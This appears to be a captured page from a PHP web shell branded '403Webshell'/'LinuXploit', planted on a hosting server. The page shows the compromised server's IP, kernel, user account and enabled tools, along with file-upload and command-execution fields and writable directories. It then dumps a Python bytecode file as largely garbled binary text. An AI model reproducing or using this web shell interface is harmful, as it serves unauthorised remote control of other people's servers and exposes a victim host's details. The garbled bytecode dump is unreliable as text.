403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/__pycache__/treebuilder.cpython-313.pyc
�

p��g$��|�SrSSKJr "SS\R5r"SS\R5r"SS5rg	)
z�TreeBuilder helper class.

TreeBuilders are used to build trees of various shapes or properties. This
can be extremely useful in testing for instance.
�)�errorsc��\rSrSrSrSrg)�AlreadyBuilding�z,The tree builder is already building a tree.�N��__name__�
__module__�__qualname__�__firstlineno__�_fmt�__static_attributes__r��4/usr/lib/python3/dist-packages/breezy/treebuilder.pyrrs��9�Drrc��\rSrSrSrSrg)�NotBuilding�zNot currently building a tree.rNrrrrrrs��+�Drrc�6�\rSrSrSrSrSrSrSrSr	Sr
g	)
�TreeBuilder�"zMA TreeBuilder allows the creation of specific content in one tree at a
time.
c� �SUlSUlg)zConstruct a TreeBuilder.NF)�_tree�
_root_done��selfs r�__init__�TreeBuilder.__init__'s����
���rc��UR5 UR(d"URRSSSS9 SUlUH�nUR	S5(a URRUSS5 M9S	nS
UR
S5U4-nURRUS5 URRX$5 M� g)
z�Build recipe into the current tree.

:param recipe: A sequence of paths. For each path, the corresponding
    path in the current tree is created and added. If the path ends in
    '/' then a directory is added, otherwise a regular file is added.
��	directorysroot-id)�idsT�/N����
scontents of %s%szutf-8�file)�_ensure_buildingrr�add�endswith�mkdir�encode�put_file_bytes_non_atomic)r�recipe�name�end�contents     r�build�TreeBuilder.build,s���	
��������J�J�N�N�2�{�
�N�;�"�D�O��D��}�}�S�!�!��
�
� � ��c�r��+���-����W�1E�s�0K�K���
�
���t�V�,��
�
�4�4�T�C�rc�*�URc[eg)z:Raise NotBuilding if there is no current tree being built.N)rrrs rr&�TreeBuilder._ensure_building@s���:�:����rc�j�UR5 URnSUlUR5 g)z!Finish building the current tree.N)r&r�unlock�r�trees  r�finish_tree�TreeBuilder.finish_treeEs'�������z�z����
����
rc�j�URb[eXlURR5 g)zrStart building on tree.

:param tree: A tree to start building on. It must provide the
    MutableTree interface.
N)rr�lock_tree_writer6s  r�
start_tree�TreeBuilder.start_treeLs)���:�:�!�!�!��
��
�
�"�"�$r)rrN)r	r
rr�__doc__rr0r&r8r<rrrrrr"s!��� �
D�(�
�	%rrN)r>rr�BzrErrorrrrrrr�<module>r@s9��"��:�f�o�o�:�,�&�/�/�,�3%�3%r

Youez - 2016 - github.com/yon3zu
LinuXploit